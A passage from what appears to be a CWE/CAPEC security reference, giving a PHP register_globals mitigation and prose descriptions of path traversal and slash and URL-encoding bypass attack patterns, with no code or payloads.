When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.